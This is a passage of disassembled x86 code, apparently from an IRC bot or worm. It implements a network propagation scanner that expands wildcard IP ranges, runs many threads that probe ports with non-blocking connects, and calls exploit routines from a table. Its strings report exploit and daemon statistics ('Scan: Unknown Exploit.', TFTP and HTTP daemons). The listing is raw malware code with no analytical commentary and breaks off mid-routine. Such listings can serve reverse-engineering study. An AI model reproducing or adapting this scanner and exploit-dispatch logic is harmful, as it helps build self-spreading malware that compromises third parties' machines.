		push	60h
		mov	eax, offset loc_41D6B9
		call	sub_40E636
		mov	eax, [ebp+18h]
		mov	[ebp-64h], eax
		xor	eax, eax
		mov	byte ptr [ebp-30h], 0
		lea	edi, [ebp-2Fh]
		stosd
		stosd
		stosd
		stosw
		mov	ebx, [ebp+20h]
		stosb
		xor	eax, eax
		mov	byte ptr [ebp-20h], 0
		lea	edi, [ebp-1Fh]
		stosd
		stosd
		stosd
		stosw
		xor	esi, esi
		stosb
		or	edi, 0FFFFFFFFh
		cmp	byte_4338BD, 0
		mov	byte ptr [ebp-41h], 0
		mov	[ebp-50h], edi
		mov	[ebp-5Ch], edi
		mov	[ebp-60h], edi
		mov	[ebp-68h], edi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		jnz	short loc_409E35
		call	sub_407F60
		test	al, al
		jz	loc_40A26F

loc_409E35:				; CODE XREF: .text:00409E26j
		cmp	byte_426934, 0
		jnz	short loc_409E4B
		call	sub_402FC8
		test	al, al
		jz	loc_40A26F

loc_409E4B:				; CODE XREF: .text:00409E3Cj
		mov	[ebp-54h], esi
		mov	esi, offset dword_424508
		jmp	short loc_409E73
; ---------------------------------------------------------------------------

loc_409E55:				; CODE XREF: .text:00409E7Cj
		push	dword ptr [ebx+4]
		push	esi
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409E80
		inc	dword ptr [ebp-54h]
		mov	esi, [ebp-54h]
		imul	esi, 2Ch
		lea	esi, dword_424508[esi]

loc_409E73:				; CODE XREF: .text:00409E53j
		push	esi
		call	sub_40C500
		test	eax, eax
		pop	ecx
		ja	short loc_409E55
		jmp	short loc_409E85
; ---------------------------------------------------------------------------

loc_409E80:				; CODE XREF: .text:00409E62j
		cmp	[ebp-54h], edi
		jnz	short loc_409EA2

loc_409E85:				; CODE XREF: .text:00409E7Ej
		push	offset aScanUnknownExp ; "Scan:	Unknown	Exploit."
		push	dword ptr [ebp-64h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 10h
		jmp	loc_40A26F
; ---------------------------------------------------------------------------

loc_409EA2:				; CODE XREF: .text:00409E83j
		mov	esi, [ebx+8]
		mov	eax, esi
		mov	ecx, offset a____0 ; "*.*.*.*"
		call	sub_4029B4
		test	eax, eax
		jz	short loc_409EC7
		push	dword ptr [ebx+0Ch]
		mov	byte ptr [ebp-41h], 1
		call	sub_40DE3D
		pop	ecx
		mov	[ebp-4Ch], eax
		jmp	short loc_409F24
; ---------------------------------------------------------------------------

loc_409EC7:				; CODE XREF: .text:00409EB3j
		push	esi
		call	sub_40DE3D
		pop	ecx
		push	3
		mov	[ebp-4Ch], eax
		pop	eax
		cmp	[ebp+1Ch], eax
		mov	edi, eax
		jl	short loc_409F1D

loc_409EDB:				; CODE XREF: .text:00409F1Bj
		lea	esi, [ebx+eax*4]
		push	dword ptr [esi]
		push	offset aA	; "-a"
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409F6B
		push	dword ptr [esi]
		push	offset aB	; "-b"
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409F1D
		push	dword ptr [esi]
		push	offset aC	; "-c"
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409F71
		inc	edi
		movzx	eax, di
		cmp	eax, [ebp+1Ch]
		jle	short loc_409EDB

loc_409F1D:				; CODE XREF: .text:00409ED9j
					; .text:00409F00j
		mov	dword ptr [ebp-58h], 1

loc_409F24:				; CODE XREF: .text:00409EC5j
					; .text:00409F6Fj ...
		xor	eax, eax

loc_409F26:				; CODE XREF: .text:00409F3Cj
		cmp	byte_426C79[eax], 0
		jz	short loc_409F32
		inc	dword ptr [ebp-48h]

loc_409F32:				; CODE XREF: .text:00409F2Dj
		add	eax, 124h
		cmp	eax, 0CD50h
		jbe	short loc_409F26
		mov	ecx, [ebp-48h]
		mov	eax, 0B4h
		sub	eax, ecx
		cmp	eax, [ebp-4Ch]
		jnb	short loc_409F7A
		push	eax
		push	offset aScanNotEnoughT ; "Scan:	Not Enough Threads. %d Available."...
		push	dword ptr [ebp-64h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 14h
		jmp	loc_40A26F
; ---------------------------------------------------------------------------

loc_409F6B:				; CODE XREF: .text:00409EEEj
		and	dword ptr [ebp-58h], 0
		jmp	short loc_409F24
; ---------------------------------------------------------------------------

loc_409F71:				; CODE XREF: .text:00409F12j
		mov	dword ptr [ebp-58h], 2
		jmp	short loc_409F24
; ---------------------------------------------------------------------------

loc_409F7A:				; CODE XREF: .text:00409F4Bj
		add	[ebp-4Ch], ecx
		cmp	byte ptr [ebp-41h], 0
		jz	loc_40A07A
		push	dword ptr [ebx+8]
		lea	eax, [ebp-30h]
		push	offset aS	; "%s"
		push	0Fh
		pop	edi
		push	edi
		push	eax
		call	sub_40C634
		lea	eax, [ebp-30h]
		push	eax
		call	sub_40C500
		mov	byte ptr [ebp+eax-30h],	0
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-30h]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_40D33B
		add	esp, 2Ch
		cmp	dword ptr [ebp-50h], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_409FE5
		push	offset aX_	; "x."
		push	edi
		push	eax
		call	sub_40C634
		add	esp, 0Ch
		jmp	short loc_409FF7
; ---------------------------------------------------------------------------

loc_409FE5:				; CODE XREF: .text:00409FD2j
		push	dword ptr [ebp-50h]
		push	offset aD_	; "%d."
		push	edi
		push	eax
		call	sub_40C634
		add	esp, 10h

loc_409FF7:				; CODE XREF: .text:00409FE3j
		cmp	dword ptr [ebp-5Ch], 0FFFFFFFFh
		mov	esi, offset aSD_ ; "%s%d."
		lea	eax, [ebp-20h]
		jnz	short loc_40A017
		push	eax
		push	offset aSx_	; "%sx."
		push	edi
		push	eax
		call	sub_40C634
		add	esp, 10h
		jmp	short loc_40A029
; ---------------------------------------------------------------------------

loc_40A017:				; CODE XREF: .text:0040A003j
		push	dword ptr [ebp-5Ch]
		push	eax
		push	esi
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		call	sub_40C634
		add	esp, 14h

loc_40A029:				; CODE XREF: .text:0040A015j
		cmp	dword ptr [ebp-60h], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_40A044
		push	eax
		push	offset aSx_	; "%sx."
		push	edi
		push	eax
		call	sub_40C634
		add	esp, 10h
		jmp	short loc_40A056
; ---------------------------------------------------------------------------

loc_40A044:				; CODE XREF: .text:0040A030j
		push	dword ptr [ebp-60h]
		push	eax
		push	esi
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		call	sub_40C634
		add	esp, 14h

loc_40A056:				; CODE XREF: .text:0040A042j
		cmp	dword ptr [ebp-68h], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_40A06B
		push	eax
		push	offset aSx	; "%sx"
		push	edi
		jmp	loc_40A136
; ---------------------------------------------------------------------------

loc_40A06B:				; CODE XREF: .text:0040A05Dj
		push	dword ptr [ebp-68h]
		push	eax
		push	offset aSD	; "%s%d"
		push	edi
		jmp	loc_40A11F
; ---------------------------------------------------------------------------

loc_40A07A:				; CODE XREF: .text:00409F81j
		push	dword_426A3C
		mov	byte ptr [ebp-40h], 0
		xor	eax, eax
		lea	edi, [ebp-3Fh]
		stosd
		stosd
		stosd
		stosw
		lea	esi, [ebp-40h]
		stosb
		call	sub_402A2D
		push	10h
		lea	eax, [ebp-30h]
		push	0
		push	eax
		call	sub_40C6F0
		mov	eax, esi
		push	eax
		push	offset aS	; "%s"
		push	0Fh
		pop	esi
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp-30h]
		push	eax
		call	sub_40C500
		mov	byte ptr [ebp+eax-30h],	0
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-30h]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_40D33B
		mov	eax, [ebp-58h]
		add	esp, 3Ch
		sub	eax, 0
		jz	short loc_40A12D
		dec	eax
		jz	short loc_40A113
		dec	eax
		jnz	short loc_40A142
		push	dword ptr [ebp-60h]
		lea	eax, [ebp-20h]
		push	dword ptr [ebp-5Ch]
		push	dword ptr [ebp-50h]
		push	offset aD_D_D_x	; "%d.%d.%d.x"
		push	esi
		push	eax
		call	sub_40C634
		add	esp, 18h
		jmp	short loc_40A142
; ---------------------------------------------------------------------------

loc_40A113:				; CODE XREF: .text:0040A0F1j
		push	dword ptr [ebp-5Ch]
		push	dword ptr [ebp-50h]
		push	offset aD_D_x_x	; "%d.%d.x.x"
		push	esi

loc_40A11F:				; CODE XREF: .text:0040A075j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40C634
		add	esp, 14h
		jmp	short loc_40A142
; ---------------------------------------------------------------------------

loc_40A12D:				; CODE XREF: .text:0040A0EEj
		push	dword ptr [ebp-50h]
		push	offset aD_x_x_x	; "%d.x.x.x"
		push	esi

loc_40A136:				; CODE XREF: .text:0040A066j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40C634
		add	esp, 10h

loc_40A142:				; CODE XREF: .text:0040A0F4j
					; .text:0040A111j ...
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40C500
		cmp	byte ptr [ebp-41h], 0
		mov	byte ptr [ebp+eax-20h],	0
		pop	ecx
		jz	short loc_40A15C
		push	dword ptr [ebx+0Ch]
		jmp	short loc_40A15F
; ---------------------------------------------------------------------------

loc_40A15C:				; CODE XREF: .text:0040A155j
		push	dword ptr [ebx+8]

loc_40A15F:				; CODE XREF: .text:0040A15Aj
		call	sub_40DE3D
		push	eax
		mov	eax, [ebp-54h]
		imul	eax, 2Ch
		push	dword_424528[eax]
		lea	eax, [ebp-20h]
		push	eax
		push	offset aScanSDUsingDTh ; "Scan:	%s:%d Using %d Threads."
		push	dword ptr [ebp-64h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 20h
		call	sub_402D40
		mov	eax, [ebp-4Ch]
		cmp	[ebp-48h], eax
		jnb	loc_40A26F
		mov	esi, [ebp-48h]
		imul	esi, 124h
		sub	eax, [ebp-48h]
		mov	[ebp-4Ch], esi
		mov	[ebp-48h], eax

loc_40A1B0:				; CODE XREF: .text:0040A269j
		push	124h
		lea	ebx, dword_426C68[esi]
		lea	edi, [ebx-100h]
		push	0
		push	edi
		call	sub_40C6F0
		lea	eax, [ebp-30h]
		push	eax
		push	offset aS	; "%s"
		push	0Fh
		push	ebx
		call	sub_40C634
		push	ebx
		call	sub_40C500
		push	dword ptr [ebp-64h]
		mov	byte ptr dword_426C68[eax+esi],	0
		mov	al, [ebp-41h]
		push	offset aS	; "%s"
		mov	[ebx+12h], al
		mov	eax, [ebp-58h]
		push	0FFh
		push	edi
		mov	[ebx+18h], eax
		call	sub_40C634
		push	edi
		call	sub_40C500
		mov	byte_426B68[eax+esi], 0
		mov	al, [ebp+0Ch]
		mov	[ebx+10h], al
		mov	eax, [ebp-54h]
		push	8
		mov	byte ptr [ebx+11h], 1
		mov	[ebx+14h], eax
		call	loc_40CC1A
		add	esp, 38h
		mov	[ebp-6Ch], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40A252
		mov	ecx, edi
		push	offset sub_40A506
		mov	edi, offset aScn ; "SCN"
		mov	esi, eax
		call	sub_408395
		mov	esi, [ebp-4Ch]
		jmp	short loc_40A254
; ---------------------------------------------------------------------------

loc_40A252:				; CODE XREF: .text:0040A238j
		xor	eax, eax

loc_40A254:				; CODE XREF: .text:0040A250j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [eax]
		add	esi, 124h
		dec	dword ptr [ebp-48h]
		mov	[ebx+20h], eax
		mov	[ebp-4Ch], esi
		jnz	loc_40A1B0

loc_40A26F:				; CODE XREF: .text:00409E2Fj
					; .text:00409E45j ...
		call	sub_40E680
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 1Ch
		and	dword ptr [esp], 0
		push	ebx
		push	esi
		mov	ebx, offset dword_433BC0
		push	edi
		mov	[esp+18h], ebx

loc_40A290:				; CODE XREF: .text:0040A2F7j
					; .text:0040A314j ...
		mov	eax, dword_433BC4
		mov	eax, [eax]
		mov	[esp+14h], eax
		mov	[esp+10h], ebx

loc_40A29F:				; CODE XREF: .text:0040A2DBj
		mov	eax, dword_433BC4
		lea	edi, [esp+18h]
		lea	esi, [esp+10h]
		mov	[esp+1Ch], eax
		call	sub_402E50
		test	al, al
		jz	short loc_40A32F
		push	offset aScn	; "SCN"
		call	sub_402E02
		add	eax, 5
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A2DD
		lea	edi, [esp+20h]
		call	sub_402E22
		jmp	short loc_40A29F
; ---------------------------------------------------------------------------

loc_40A2DD:				; CODE XREF: .text:0040A2D0j
		call	sub_402E02
		mov	edi, [eax+40h]
		lea	esi, [esp+10h]
		call	sub_402E02
		mov	eax, [eax]
		call	sub_408409
		test	al, al
		jz	short loc_40A290
		xor	eax, eax
		xor	ecx, ecx

loc_40A2FD:				; CODE XREF: .text:0040A312j
		cmp	dword_426C88[ecx], edi
		jz	short loc_40A319
		add	ecx, 124h
		inc	eax
		cmp	ecx, 0CD50h
		jbe	short loc_40A2FD
		jmp	loc_40A290
; ---------------------------------------------------------------------------

loc_40A319:				; CODE XREF: .text:0040A303j
		inc	dword ptr [esp+0Ch]
		imul	eax, 124h
		mov	byte_426C79[eax], 0
		jmp	loc_40A290
; ---------------------------------------------------------------------------

loc_40A32F:				; CODE XREF: .text:0040A2B7j
		push	dword ptr [esp+0Ch]
		push	offset aScanAllScanThr ; "Scan:	All Scan Threads Stopped. %d kill"...
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-188h]
		sub	esp, 208h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+184h], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+1A0h]
		mov	esi, 1FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-7Bh]
		push	ebx
		push	eax
		mov	[ebp-7Ch], bl
		call	sub_40C6F0
		push	offset aStatisticsExpl ; "Statistics: Exploits:"
		lea	eax, [ebp-7Ch]
		push	esi
		push	eax
		mov	[ebp-80h], ebx
		call	sub_40C634
		add	esp, 18h
		xor	eax, eax

loc_40A3A4:				; CODE XREF: .text:0040A3D3j
		push	dword_42452C[eax]
		lea	eax, dword_424508[eax]
		push	eax
		lea	eax, [ebp-7Ch]
		push	eax
		push	offset aSSD	; "%s %s: %d"
		push	esi
		push	eax
		call	sub_40C634
		add	esp, 18h
		inc	dword ptr [ebp-80h]
		mov	eax, [ebp-80h]
		imul	eax, 2Ch
		cmp	dword_424528[eax], ebx
		jnz	short loc_40A3A4
		lea	eax, [ebp-7Ch]
		push	eax
		push	offset aSDaemons ; "%s;	Daemons:"
		push	esi
		push	eax
		call	sub_40C634
		push	dword_4338C4
		lea	eax, [ebp-7Ch]
		push	eax
		push	offset aSTftpD	; "%s TFTP: %d"
		push	esi
		push	eax
		call	sub_40C634
		push	dword_4338B8
		lea	eax, [ebp-7Ch]
		push	eax
		push	offset aSHttpD	; "%s HTTP: %d"
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp-7Ch]
		push	eax
		call	sub_40C500
		mov	[ebp+eax-7Ch], bl
		lea	eax, [ebp-7Ch]
		push	eax
		push	offset aS	; "%s"
		push	edi
		push	dword ptr [ebp+194h]
		push	offset dword_426A3C
		call	sub_403DB4
		mov	ecx, [ebp+184h]
		add	esp, 50h
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 188h
		leave
		retn	1Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A455	proc near		; CODE XREF: sub_40A506+170p
					; sub_40A506+28Cp ...

var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		xor	edi, edi
		push	6
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_18], edi
		call	ds:dword_41E240	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A486
		xor	al, al
		jmp	short loc_40A4F8
; ---------------------------------------------------------------------------

loc_40A486:				; CODE XREF: sub_40A455+2Bj
		push	[ebp+arg_4]
		call	ds:dword_41E238	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_14], 2
		call	ds:dword_41E278	; ioctlsocket
		and	[ebp+var_1C], 0
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		mov	[ebp+var_20], 5
		mov	[ebp+var_124], esi
		mov	[ebp+var_128], edi
		call	ds:dword_41E258	; connect
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		lea	eax, [ebp+var_128]
		push	eax
		push	0
		push	0
		call	ds:dword_41E26C	; select
		push	esi
		mov	edi, eax
		call	ds:dword_41E244	; closesocket
		test	edi, edi
		setnle	al

loc_40A4F8:				; CODE XREF: sub_40A455+2Fj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_40AB4A
		leave
		retn
sub_40A455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40A506	proc near		; DATA XREF: .text:0040A23Co

var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_130		= byte ptr -130h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_1E		= byte ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 25Ch
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+25Ch+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	49h
		pop	ecx
		lea	edi, [esp+268h+var_130]
		rep movsd

loc_40A532:				; CODE XREF: sub_40A506+541j
					; sub_40A506+552j
		lea	eax, [esp+268h+var_250]
		push	eax
		lea	eax, [esp+26Ch+var_254]
		push	eax
		lea	eax, [esp+270h+var_258]
		push	eax
		lea	eax, [esp+274h+var_25C]
		push	eax
		or	ebx, 0FFFFFFFFh
		lea	eax, [esp+278h+var_30]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		mov	[esp+280h+var_25C], ebx
		mov	[esp+280h+var_258], ebx
		mov	[esp+280h+var_254], ebx
		mov	[esp+280h+var_250], ebx
		call	sub_40D33B
		add	esp, 18h
		xor	edi, edi
		cmp	[esp+268h+var_1E], 0
		jz	short loc_40A5E4
		cmp	[esp+268h+var_25C], ebx
		mov	esi, 0FEh
		jnz	short loc_40A592
		push	edi
		mov	eax, esi
		call	sub_402D8A
		pop	ecx
		mov	[esp+268h+var_25C], eax

loc_40A592:				; CODE XREF: sub_40A506+7Dj
		cmp	[esp+268h+var_258], ebx
		jnz	short loc_40A5A5
		push	edi
		mov	eax, esi
		call	sub_402D8A
		pop	ecx
		mov	[esp+268h+var_258], eax

loc_40A5A5:				; CODE XREF: sub_40A506+90j
		cmp	[esp+268h+var_254], ebx
		jnz	short loc_40A5B8
		push	edi
		mov	eax, esi
		call	sub_402D8A
		pop	ecx
		mov	[esp+268h+var_254], eax

loc_40A5B8:				; CODE XREF: sub_40A506+A3j
		mov	eax, [esp+268h+var_250]
		cmp	eax, ebx
		jnz	short loc_40A5CD
		push	edi
		mov	eax, esi
		call	sub_402D8A
		pop	ecx
		mov	[esp+268h+var_250], eax

loc_40A5CD:				; CODE XREF: sub_40A506+B8j
		shl	eax, 8
		add	eax, [esp+268h+var_254]
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		jmp	short loc_40A64C
; ---------------------------------------------------------------------------

loc_40A5E4:				; CODE XREF: sub_40A506+72j
		mov	eax, [esp+268h+var_18]
		sub	eax, edi
		jz	short loc_40A61D
		dec	eax
		jz	short loc_40A5FC
		dec	eax
		jnz	short loc_40A631
		mov	eax, 0FEh
		jmp	short loc_40A610
; ---------------------------------------------------------------------------

loc_40A5FC:				; CODE XREF: sub_40A506+EAj
		mov	esi, 0FEh

loc_40A601:				; CODE XREF: sub_40A506+129j
		push	edi
		mov	eax, esi
		call	sub_402D8A
		mov	[esp+26Ch+var_254], eax
		pop	ecx
		mov	eax, esi

loc_40A610:				; CODE XREF: sub_40A506+F4j
		push	edi
		call	sub_402D8A
		pop	ecx
		mov	[esp+268h+var_250], eax
		jmp	short loc_40A635
; ---------------------------------------------------------------------------

loc_40A61D:				; CODE XREF: sub_40A506+E7j
		mov	esi, 0FEh
		push	edi
		mov	eax, esi
		call	sub_402D8A
		pop	ecx
		mov	[esp+268h+var_258], eax
		jmp	short loc_40A601
; ---------------------------------------------------------------------------

loc_40A631:				; CODE XREF: sub_40A506+EDj
		mov	eax, [esp+268h+var_250]

loc_40A635:				; CODE XREF: sub_40A506+115j
		shl	eax, 8
		add	eax, [esp+268h+var_254]
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		xor	edi, edi

loc_40A64C:				; CODE XREF: sub_40A506+DCj
		mov	[esp+268h+var_14], eax
		mov	eax, [esp+268h+var_1C]
		cmp	eax, ebx
		jnz	loc_40A864
		xor	ebx, ebx
		mov	[esp+268h+var_248], ebx
		mov	eax, offset dword_424528

loc_40A66D:				; CODE XREF: sub_40A506+18Dj
		push	dword ptr [eax]
		push	[esp+26Ch+var_14]
		call	sub_40A455
		test	al, al
		pop	ecx
		pop	ecx
		jnz	short loc_40A69A
		inc	ebx
		mov	eax, ebx
		imul	eax, 2Ch
		lea	eax, dword_424528[eax]
		cmp	[eax], edi
		mov	[esp+268h+var_248], ebx
		jnz	short loc_40A66D
		jmp	loc_40AA38
; ---------------------------------------------------------------------------

loc_40A69A:				; CODE XREF: sub_40A506+179j
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	edi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40C634
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C500
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_140], ebx
		imul	ebx, 2Ch
		mov	[esp+27Ch+var_13C], eax
		mov	eax, dword_424528[ebx]
		mov	[esp+27Ch+var_138], eax
		mov	al, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], al
		mov	al, [esp+378h+var_1E]
		push	44h
		pop	ecx
		mov	[esp+378h+var_133], al
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[ebx]
		mov	esi, [esp+378h+var_250]
		shl	esi, 8
		add	esi, [esp+378h+var_254]
		add	esp, 110h
		shl	esi, 8
		add	esi, [esp+268h+var_258]
		mov	[esp+268h+var_24C], 100h
		shl	esi, 8
		add	esi, [esp+268h+var_25C]
		mov	[esp+268h+var_244], esi

loc_40A764:				; CODE XREF: sub_40A506+353j
		mov	eax, [esp+268h+var_24C]
		mov	ecx, [esp+268h+var_254]
		add	eax, ecx
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		cmp	eax, esi
		mov	[esp+268h+var_14], eax
		jz	loc_40A849
		push	dword_424528[ebx]
		push	eax
		call	sub_40A455
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_40A849
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40C634
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C500
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_13C], eax
		mov	eax, [esp+27Ch+var_248]
		mov	[esp+27Ch+var_140], eax
		mov	eax, dword_424528[ebx]
		mov	[esp+27Ch+var_138], eax
		mov	al, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], al
		mov	al, [esp+378h+var_1E]
		push	44h
		pop	ecx
		mov	[esp+378h+var_133], al
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[ebx]
		mov	esi, [esp+378h+var_244]
		add	esp, 110h

loc_40A849:				; CODE XREF: sub_40A506+27Fj
					; sub_40A506+295j
		add	[esp+268h+var_24C], 100h
		cmp	[esp+268h+var_24C], 0FE00h
		jle	loc_40A764
		jmp	loc_40AA38
; ---------------------------------------------------------------------------

loc_40A864:				; CODE XREF: sub_40A506+156j
		imul	eax, 2Ch
		push	dword_424528[eax]
		push	[esp+26Ch+var_14]
		call	sub_40A455
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_40AA38
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	edi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40C634
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C500
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_13C], eax
		mov	eax, [esp+27Ch+var_1C]
		mov	[esp+27Ch+var_140], eax
		imul	eax, 2Ch
		mov	ecx, dword_424528[eax]
		mov	[esp+27Ch+var_138], ecx
		mov	cl, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], cl
		push	44h
		pop	ecx
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[eax]
		mov	ebx, [esp+378h+var_250]
		shl	ebx, 8
		add	ebx, [esp+378h+var_254]
		add	esp, 110h
		shl	ebx, 8
		add	ebx, [esp+268h+var_258]
		mov	[esp+268h+var_24C], 100h
		shl	ebx, 8
		add	ebx, [esp+268h+var_25C]

loc_40A942:				; CODE XREF: sub_40A506+52Cj
		mov	eax, [esp+268h+var_24C]
		mov	ecx, [esp+268h+var_254]
		add	eax, ecx
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		cmp	eax, ebx
		mov	[esp+268h+var_14], eax
		jz	loc_40AA22
		mov	ecx, [esp+268h+var_1C]
		imul	ecx, 2Ch
		push	dword_424528[ecx]
		push	eax
		call	sub_40A455
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_40AA22
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_40C634
		lea	eax, [esp+278h+var_240]
		push	eax
		call	sub_40C500
		mov	[esp+eax+27Ch+var_240],	0
		mov	eax, [esp+27Ch+var_14]
		mov	[esp+27Ch+var_13C], eax
		mov	eax, [esp+27Ch+var_1C]
		mov	[esp+27Ch+var_140], eax
		imul	eax, 2Ch
		mov	ecx, dword_424528[eax]
		mov	[esp+27Ch+var_138], ecx
		mov	cl, [esp+27Ch+var_20]
		sub	esp, 0FCh
		mov	[esp+378h+var_134], cl
		push	44h
		pop	ecx
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424530[eax]
		add	esp, 110h

loc_40AA22:				; CODE XREF: sub_40A506+45Dj
					; sub_40A506+47Dj
		add	[esp+268h+var_24C], 100h
		cmp	[esp+268h+var_24C], 0FE00h
		jle	loc_40A942

